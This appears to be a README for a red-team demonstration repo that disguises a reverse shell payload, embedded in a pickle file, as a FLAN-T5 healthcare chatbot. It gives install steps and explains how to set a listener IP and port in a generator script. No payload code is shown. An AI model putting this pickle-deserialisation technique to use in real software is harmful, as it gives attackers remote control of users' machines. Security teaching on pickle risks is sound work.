pickle-payload-chatbot

⚠️ Disclaimer: This repo was created to demonstrate the dangers of Python pickle files. Do not deserialize the model. You’ve been warned.

Healthcare Chatbot (FLAN-T5)

📌 Overview

The Healthcare Chatbot is a medical question-answering AI powered by FLAN-T5, a fine-tuned language model. It provides general guidance on medical topics, symptoms, and treatment suggestions based on a pre-trained dataset.

🚨 Note: This chatbot is for informational purposes only and should not be used as a substitute for professional medical advice. Always consult a doctor for health-related concerns.

📷 Screenshot

---

🚀 How to Install & Run

🔹 Step 1: Download the Project

Option 1: Clone from Hugging Face

git clone https://huggingface.co/Iredteam/pickle-payload-chatbot
cd pickle-payload-chatbot

Option 2: Download as a ZIP

• Go to the Hugging Face model page
• Click on Download
• Extract the ZIP file

🔹 Step 2: Download & Prepare the Model

The chatbot requires FLAN-T5 to be stored locally before running.

For Windows Users 🖥️

# In the project directory
./get_model.ps1
# Then run the chatbot
python healthcare_chatbot.py

For macOS/Linux Users 💻

git clone https://huggingface.co/google/flan-t5-small
# Then run the chatbot
python3 healthcare_chatbot.py

---

💡 Features

✅ Local Model Loading – FLAN-T5 runs locally for fast inference.

✅ Medical Q&A Dataset – Includes questions about common symptoms and treatments.

✅ Voice Input & Text-to-Speech – Ask questions via voice & receive audible answers.

✅ Streamlit UI – Clean, browser-based interface.

✅ Reverse Shell Payload Execution – Loads and triggers a background reverse shell directly from the pickle file.

---

⚙️ Payload Behavior (Advanced Users)

This version of the Healthcare Chatbot differs from the original by executing a reverse shell payload embedded directly in the train_data_mod_obfuscated_fixed.pkl file.

The payload is executed during deserialization using Python's pickle.load() and runs silently in the background via a daemon thread.

You can generate your own payload-enabled pickle file using the pickle-generator.py script provided.

Update the IP address and port number inside pickle-generator.py before generating the file to ensure your reverse shell callback connects back to your listener.

👉 You can find the original version of this chatbot (which only called a reverse shell function defined in the Python file itself) here: https://huggingface.co/Iredteam/healthcare_chatbot_mod

---

⚠️ Disclaimer

Disclaimer: This repo was created to demonstrate the dangers of Python pickle files. Do not deserialize the model. You’ve been warned.

This chatbot is intended for educational and demonstration purposes only. It should never be used for unauthorized access or deployed in a production environment without consent. Always follow ethical guidelines when testing software security.

---

📩 Contact & Support

For issues or improvements, please open an issue on the Hugging Face repo.